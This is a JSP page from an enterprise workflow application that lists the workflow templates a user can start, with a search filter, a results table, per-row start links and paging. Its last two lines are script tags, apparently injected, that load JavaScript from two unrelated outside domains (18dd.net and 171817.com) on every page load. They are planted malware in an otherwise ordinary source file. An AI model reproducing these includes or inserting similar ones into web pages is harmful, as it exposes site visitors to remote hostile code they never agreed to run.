<%
/*
 * @(#)ListWorkflowSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowSubmission.jsp

  This is a ListWorkflowSubmission page.  It shows the all workflow template that can be initiate by the current user in EIP.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      30/07/2003
    @version            $Revision: 1.42.2.19 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.core.SystemWorkflowConstant"%>
<%@ page import="com.dcivision.form.bean.FormRecord"%>
<%@ page import="com.dcivision.form.dao.FormRecordDAObject"%>
<%@ page import="com.dcivision.dms.dao.DmsRootDAObject"%>
<%@ page import="com.dcivision.dms.bean.DmsDocument"%>
<%@ page import="com.dcivision.dms.bean.DmsRoot"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowRecordForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowRecordForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  java.sql.Connection dbConn = (java.sql.Connection)request.getAttribute(com.dcivision.framework.GlobalConstant.DB_KEY);
  String      LIST_NAME = "workflowSubmissionList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.workflow_version", "WORKFLOW_VERSION"},
                            {"workflow.columnheader.description", "DESCRIPTION"},
                            {"workflow.columnheader.category", "WORKFLOW_CATEGORY_NAME"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"workflow.label.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.workflow_version", "WORKFLOW_VERSION"},
                            {"workflow.label.description", "DESCRIPTION"},
                            {"workflow.label.category", "SOWC.WORKFLOW_CATEGORY_NAME"}
                          };

  int     COLUMN_OFFSET = 0;

  FormRecordDAObject FormRecordDAO = new FormRecordDAObject(sessionContainer, dbConn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  boolean hasDmsPublicFolderRight = permissionManager.hasAccessRight(SystemFunctionConstant.DMS_PUBLIC_FOLDER,"R");
  DmsRootDAObject DmsRootDAO=new DmsRootDAObject(sessionContainer,dbConn);
  //bill add for EIP-1469 start
  Integer currentUserID=sessionContainer.getUserRecordID();
  //get public root by current user id
  List rootList=DmsRootDAO.getRootByOwnerIDAndType(currentUserID,DmsRoot.PUBLIC_ROOT,GlobalConstant.RECORD_STATUS_ACTIVE);
  boolean hasDmsPublicFolder=rootList.size()>0;
  //bill add for EIP-1469 end
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowSubmission" method="post">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<layout:listBar>
  <div class="button">
    <layout:returnButton className="but-standard"/>  	
  </div>
  <layout:filterControl/>
  </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
      </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listWorkflowRecordForm, '${listWorkflowRecordForm.sortAttribute}', '${listWorkflowRecordForm.sortOrder}'))" />
   <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listWorkflowRecordForm))"/>
</div>
<br style="clear:both" />
</div>

<!-- Search Panel End -->

<!-- Table Heading Begin -->
<!-- Table Heading End -->
<script language="Javascript">
<!--
 var workflowCategoryIDStr = "";
 function selectFolder(profileID, workflowCategoryID, returnTo,workflowRecordID){
   var url = "<%=request.getContextPath()%>/dms/ListDmsFolderSelect.do?rootID=&parentID=&formName=listWorkflowRecordForm&displayFieldName=locationPath_emailArchive&hiddenRootIDFieldName=rootID_emailArchive&hiddenParentIDFieldName=parentID_emailArchive&allowCompoundDoc=false&allowPaperDoc=false&allowReset=false&isMyFavorite=&arrayIndex=0&allowEmailDoc=false&allowFormDoc=false&allowFlowDoc=false&ID=-1&profileID="+profileID+"&workflowRecordID="+workflowRecordID+"&returnTo="+returnTo+"&curFunctionCode=DMS_PUBLIC_FOLDER&allowPersonalDoc=false";
   workflowCategoryIDStr = workflowCategoryID;
   var name = "DCIVisionPopupDmsFolderSelectPanel";
  var popW = "900";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
 }

 function startProfileWorkflow(rootID, parentID, profileID, returnTo,workflowRecordID){
   var url = "<%=request.getContextPath()%>/dms/MaintDmsDocument.do?documentType=D&rootID=" +
             rootID + "&parentID=" + parentID + "&curFunctionCode=DMS_PUBLIC_FOLDER&userDefinedFieldID=" + profileID +"&workflowRecordID="+workflowRecordID+"&returnTo=" + returnTo ;

   if ('<%=SystemWorkflowConstant.DMS_CREATE_PAPER_UDF_DOCUMENT%>' == workflowCategoryIDStr) {
     url = "<%=request.getContextPath()%>/dms/MaintDmsPaperDocument.do?documentType=H&rootID=" +
             rootID + "&parentID=" + parentID + "&curFunctionCode=DMS_PUBLIC_FOLDER&userDefinedFieldID=" + profileID + "&workflowRecordID="+workflowRecordID+"&returnTo=" + returnTo ;
   }

   window.location.href = url;
 }

-->
</script>

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkflowRecordForm.getSortAttribute()%>" sortOrder="<%=listWorkflowRecordForm.getSortOrder()%>" checkColumn='false' editLabel='workflow.label.start' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <%String workflowRecordIDStr=((WorkflowRecord)workflowRecord).getID()+"|"+((WorkflowRecord)workflowRecord).getNextStepDynamicAssignDueDate()+"|"+((WorkflowRecord)workflowRecord).getNextStepDynamicAssignDueDateCount();%>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowRecord).getID()%>);">
    <td align="center">
      <%if ( GlobalConstant.OBJECT_TYPE_FORM.equals(((WorkflowRecord)workflowRecord).getRelatedObjectType()) ) {
      %>
      <logic:greaterEqual name="workflowRecord" property='bindingFormListSize' value='2'>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:greaterEqual>

      <logic:equal name="workflowRecord" property='bindingFormListSize' value='1'>
       <logic:iterate id="formRecord" collection="<%=((WorkflowRecord)workflowRecord).getBindingFormList()%>" scope="request" indexId="listLoopCnt1">
        <logic:notEmpty name='formRecord' property='formDocID'><!-- IS PDF -->
          <a href="MaintWorkflowSubmission.do?submitFunction=WORKFLOW&navMode=V&ID=<bean:write name='workflowRecord' property='ID'/>&relatedObjectType=<bean:write name='workflowRecord' property='relatedObjectType'/>&relatedObjectID=<bean:write name='formRecord' property='ID'/>&isView=Y&function=WORKFLOW&workflowCategoryID=<bean:write name='workflowRecord' property='workflowCategoryID'/>&formDocID=<bean:write name='formRecord' property='formDocID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>">
          <html:img src='IconGoGreen16.gif' align='absmiddle'/>
          </a>

        </logic:notEmpty>
        <logic:empty name='formRecord' property='formDocID'><!-- IS HTML -->

          <a href="<%=request.getContextPath()%>/form/MaintFormSubmission.do?navMode=N&formRecordID=<bean:write name='formRecord' property='ID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&submitFunction=WORKFLOW&function=FORMSUBMISSION&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><html:img src='IconGoGreen16.gif' align='absmiddle'/></a>

        </logic:empty>
       </logic:iterate>
      </logic:equal>

      <% } else if (  GlobalConstant.OBJECT_TYPE_FORMGROUP.equals(((WorkflowRecord)workflowRecord).getRelatedObjectType()) ) { %>
      <logic:permission right='E'>
      <a href="<%=request.getContextPath()%>/form/MaintFormSubmission.do?submitFunction=WORKFLOW&navMode=N&formRecordID=<bean:write name='workflowRecord' property='relatedObjectID'/>&submitFunction=WORKFLOW&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&function=FORMSUBMISSION"><html:img src='IconGoGreen16.gif' align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:permission>

      <!-- Public Folder Workflow Begin -->
      <% } else if (  GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(((WorkflowRecord)workflowRecord).getRelatedObjectType()) ) { %>
      <logic:greaterEqual name="workflowRecord" property='bindingDmsFolderListSize' value='2'>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:greaterEqual>

      <logic:equal name="workflowRecord" property='bindingDmsFolderListSize' value='1'>
        <logic:iterate id="document" collection="<%=((WorkflowRecord)workflowRecord).getBindingDmsFolderList()%>" scope="request" indexId="listLoopCnt2">
         <%
         String permission = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_DOCUMENT,((DmsDocument)document).getID());
         if(permission.indexOf("I")>=0 && hasDmsPublicFolderRight){
         %>
         <% if (SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals( ((WorkflowRecord)workflowRecord).getWorkflowCategoryID().toString() ) ) {%>

         <logic:permission right='E'>
         <a href='<%=request.getContextPath()%>/dms/MaintDmsDocument.do?documentType=D&rootID=<bean:write name='document' property='rootID'/>&parentID=<bean:write name='document' property='ID'/>&workflowRecordID=<%=workflowRecordIDStr%>&returnTo=<%=request.getContextPath()%>/workflow/ListWorkflowSubmission.do&curFunctionCode=DMS_PUBLIC_FOLDER' ><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
         <html:img src='IconEditDisable.gif' align='absmiddle'/>
         </logic:permission>

         <%} else {%>
         <logic:permission right='E'>
         <a href='<%=request.getContextPath()%>/dms/MaintDmsPaperDocument.do?documentType=H&rootID=<bean:write name='document' property='rootID'/>&parentID=<bean:write name='document' property='ID'/>&workflowRecordID=<%=workflowRecordIDStr%>&returnTo=<%=request.getContextPath()%>/workflow/ListWorkflowSubmission.do&curFunctionCode=DMS_PUBLIC_FOLDER' ><html:img src='IconGoGreen16.gif' align='absmiddle'/></a>
         <html:img src='IconEditDisable.gif' align='absmiddle'/>
         </logic:permission>
         <%}%>
         <%}else{%>
         <html:img src='IconEditDisable.gif' align='absmiddle'/>
         <%}%>
        </logic:iterate>
      </logic:equal>

      <% } else if (  GlobalConstant.OBJECT_TYPE_UDF.equals(((WorkflowRecord)workflowRecord).getRelatedObjectType()) ) { %>
      <logic:greaterEqual name="workflowRecord" property='bindingProfileListSize' value='2'>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:greaterEqual>
      <logic:equal name="workflowRecord" property='bindingProfileListSize' value='1'>
        <logic:iterate id="profile" collection="<%=((WorkflowRecord)workflowRecord).getBindingProfileList()%>" scope="request" indexId="listLoopCnt3">
          <%if(hasDmsPublicFolder){%>
            <%if(hasDmsPublicFolderRight){%>
            <logic:permission right='E'>
              <a href="#" onclick="return selectFolder('<bean:write name='profile' property='ID'/>', '<%=((WorkflowRecord)workflowRecord).getWorkflowCategoryID().toString()%>', '<%=request.getContextPath()%>/workflow/ListWorkflowSubmission.do&curFunctionCode=DMS_PUBLIC_FOLDER','<%=workflowRecordIDStr%>') "><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
              <html:img src='IconEditDisable.gif' align='absmiddle'/>
            </logic:permission>
            <%}
            }else{%>
              <html:img src='IconEditDisable.gif' align='absmiddle'/>
          <%}%>
        </logic:iterate>
      </logic:equal>
      <!-- Public Folder Workflow End -->

      <!-- General Workflow Begin -->
      <% } else { %>
        <logic:equal name='workflowRecord' property='workflowCategoryID' value='<%=SystemWorkflowConstant.SYS_GENERAL_WORKFLOW%>' >
          <a href="MaintWorkflowSubmission.do?navMode=E&ID=<bean:write name='workflowRecord' property='ID'/>&function=WORKFLOW&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><html:img src='IconGoGreen16.gif' align='absmiddle'/></a>
        </logic:equal>
        <logic:notEqual name='workflowRecord' property='workflowCategoryID' value='<%=SystemWorkflowConstant.SYS_GENERAL_WORKFLOW%>' >
          <a href="MaintWorkflowSubmission.do?navMode=E&ID=<bean:write name='workflowRecord' property='ID'/>&function=WORKFLOW&workflowCategoryID=<bean:write name='workflowRecord' property='workflowCategoryID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><html:img src='IconGoGreen16.gif' align='absmiddle'/></a>
        </logic:notEqual>
      <% } %>
      <!-- General Workflow End -->
    </td>

    <td nowrap>
      <%if ( GlobalConstant.OBJECT_TYPE_FORM.equals(((WorkflowRecord)workflowRecord).getRelatedObjectType()) ) {%>
      <table class="innerTable">
      <tr><td valign='top' width='20%'>
      <nobr><bean:write name='workflowRecord' property='workflowCode'/></nobr>
      </td><td>
      <logic:iterate id="formRecord" collection="<%=((WorkflowRecord)workflowRecord).getBindingFormList()%>" scope="request" indexId="listLoopCnt4">-
        <logic:notEmpty name='formRecord' property='formDocID'><!-- IS PDF -->
           <html:img src='IconDMSFileExtPDF.gif' />
           <a href="MaintWorkflowSubmission.do?submitFunction=WORKFLOW&navMode=V&ID=<bean:write name='workflowRecord' property='ID'/>&relatedObjectType=<bean:write name='workflowRecord' property='relatedObjectType'/>&relatedObjectID=<bean:write name='formRecord' property='ID'/>&isView=Y&function=WORKFLOW&workflowCategoryID=<bean:write name='workflowRecord' property='workflowCategoryID'/>&formDocID=<bean:write name='formRecord' property='formDocID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><i><bean:write name='formRecord' property='title'/> - <bean:write name='formRecord' property='formCode'/> [<bean:write name='formRecord' property='formVersion'/>]</i></a>
         </logic:notEmpty>
         <logic:empty name='formRecord' property='formDocID'><!-- IS HTML -->
           <a href="MaintWorkflowSubmission.do?submitFunction=WORKFLOW&navMode=V&ID=<bean:write name='workflowRecord' property='ID'/>&relatedObjectType=<bean:write name='workflowRecord' property='relatedObjectType'/>&relatedObjectID=<bean:write name='formRecord' property='ID'/>&isView=Y&function=WORKFLOW&workflowCategoryID=<bean:write name='workflowRecord' property='workflowCategoryID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><i><bean:write name='formRecord' property='title'/> - <bean:write name='formRecord' property='formCode'/> [<bean:write name='formRecord' property='formVersion'/>]</i></a>
         </logic:empty>
      </logic:iterate>
      </td></tr>
      </table>
      <%} else if (  GlobalConstant.OBJECT_TYPE_FORMGROUP.equals(((WorkflowRecord)workflowRecord).getRelatedObjectType()) ) {%>
        <a href="MaintWorkflowSubmission.do?navMode=V&ID=<bean:write name='workflowRecord' property='ID'/>&relatedObjectType=<%=((WorkflowRecord)workflowRecord).getRelatedObjectType()%>&relatedObjectID=<bean:write name='workflowRecord' property='relatedObjectID'/>&isView=Y&function=WORKFLOW&workflowCategoryID=<bean:write name='workflowRecord' property='workflowCategoryID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><bean:write name='workflowRecord' property='workflowCode'/> - <i><bean:message key='form.label.form'/>: <bean:write name='workflowRecord' property='relatedObjectName'/></i></a>

      <!-- Public Folder Workflow Begin -->
      <% } else if (  GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(((WorkflowRecord)workflowRecord).getRelatedObjectType()) ) { %>
        <table class="innerTable">
        <tr><td valign='top' width='20%'>
        <nobr><bean:write name='workflowRecord' property='workflowCode'/></nobr>
        </td><td>
        <logic:iterate id="document" collection="<%=((WorkflowRecord)workflowRecord).getBindingDmsFolderList()%>" scope="request" indexId="listLoopCnt6">-
        <%
        String permission = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_DOCUMENT,((DmsDocument)document).getID());
        %>
        <%if(permission.indexOf("I")>=0 && hasDmsPublicFolderRight){%>
        <% if (SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals( ((WorkflowRecord)workflowRecord).getWorkflowCategoryID().toString() ) ) {%>
        <logic:permission right='E'>
          <a href='<%=request.getContextPath()%>/dms/MaintDmsDocument.do?documentType=D&rootID=<bean:write name='document' property='rootID'/>&parentID=<bean:write name='document' property='ID'/>&workflowRecordID=<%=workflowRecordIDStr%>&returnTo=<%=request.getContextPath()%>/workflow/ListWorkflowSubmission.do&curFunctionCode=DMS_PUBLIC_FOLDER' ><bean:write name='document' property='documentName'/></a>
          <bean:write name='document' property='documentName'/>
        </logic:permission>
       <%} else {%>
       <logic:permission right='E'>
          <a href='<%=request.getContextPath()%>/dms/MaintDmsPaperDocument.do?documentType=H&rootID=<bean:write name='document' property='rootID'/>&parentID=<bean:write name='document' property='ID'/>&workflowRecordID=<%=workflowRecordIDStr%>&returnTo=<%=request.getContextPath()%>/workflow/ListWorkflowSubmission.do&curFunctionCode=DMS_PUBLIC_FOLDER' ><bean:write name='document' property='documentName'/></a>
          <bean:write name='document' property='documentName'/>
       </logic:permission>
       <%}%>
       <%}else{%>
         <bean:write name='document' property='documentName'/>
        <%}%>
       <br>
      </logic:iterate>
      </td></tr>
      </table>

      <% } else if (  GlobalConstant.OBJECT_TYPE_UDF.equals(((WorkflowRecord)workflowRecord).getRelatedObjectType()) ) { %>
        <table class="innerTable">
        <tr><td valign='top' width='20%'>
        <nobr><bean:write name='workflowRecord' property='workflowCode'/></nobr>
        </td><td>
        <logic:iterate id="profile" collection="<%=((WorkflowRecord)workflowRecord).getBindingProfileList()%>" scope="request" indexId="listLoopCnt8">-
        <!--Bill add for EIP-1469 start-->
          <%if(hasDmsPublicFolder){%>
            <%if(hasDmsPublicFolderRight){%>
              <logic:permission right='E'>
                <a href="#" onclick="return selectFolder('<bean:write name='profile' property='ID'/>', '<%=((WorkflowRecord)workflowRecord).getWorkflowCategoryID().toString()%>', '<%=request.getContextPath()%>/workflow/ListWorkflowSubmission.do&curFunctionCode=DMS_PUBLIC_FOLDER','<%=workflowRecordIDStr%>') "><bean:write name='profile' property='userDefinedType'/></a>
                <bean:write name='profile' property='userDefinedType'/>
              </logic:permission>
            <%}
            }else{%>
              <bean:write name='profile' property='userDefinedType'/>
          <%}%>
          <!--Bill add for EIP-1469 end-->
          <br>
        </logic:iterate>
      </td></tr>
      </table>
      <!-- Public Folder Workflow End -->
      <%} else {%>
        <a href="MaintWorkflowSubmission.do?navMode=E&ID=<bean:write name='workflowRecord' property='ID'/>&relatedObjectType=<%=((WorkflowRecord)workflowRecord).getRelatedObjectType()%>&relatedObjectID=<bean:write name='workflowRecord' property='relatedObjectID'/>&isView=Y&function=WORKFLOW&workflowCategoryID=<bean:write name='workflowRecord' property='workflowCategoryID'/>&workflowGroupID=<bean:write name='workflowRecord' property='workflowGroupID'/>"><bean:write name='workflowRecord' property='workflowCode'/></a>
      <%}%>
        </td>
        <td><bean:write name='workflowRecord' property='workflowVersion'/></td>
        <td><bean:write name='workflowRecord' property='description'/></td>
        <td><bean:write name='workflowRecord' property='workflowCategory'/></td>
        <td class="bodyVerySmall" nowrap><bean:write name='workflowRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
        <td class="bodyVerySmall"><bean:write name='workflowRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listWorkflowRecordForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>